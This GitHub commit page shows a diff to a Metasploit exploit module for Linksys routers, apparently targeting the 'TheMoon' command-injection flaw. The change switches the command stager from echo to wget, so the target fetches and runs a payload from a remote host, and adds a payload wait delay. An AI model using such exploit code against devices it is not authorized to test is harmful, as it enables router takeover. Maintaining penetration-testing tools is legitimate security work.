Skip to content

Commit fe0a3c8

Browse files
committed
Update themoon exploit to use wget command stager
1 parent f25ced0 commit fe0a3c8

File tree

1 file changed

+3
-2
lines changed

1 file changed

+3
-2
lines changed

modules/exploits/linux/http/linksys_themoon_exec.rb

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -62,7 +62,8 @@ def initialize(info = {})
6262
}
6363
],
6464
],
65-
'DefaultTarget' => 0
65+
'DefaultTarget' => 0,
66+
'DefaultOptions' => { 'WfsDelay' => 30 }
6667
))
6768
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
6869
end
@@ -116,7 +117,7 @@ def exploit
116117
end
117118

118119
print_status("Exploiting...")
119-
execute_cmdstager({:flavor => :echo})
120+
execute_cmdstager({:flavor => :wget})
120121
end
121122

122123
end

0 commit comments

Comments
 (0)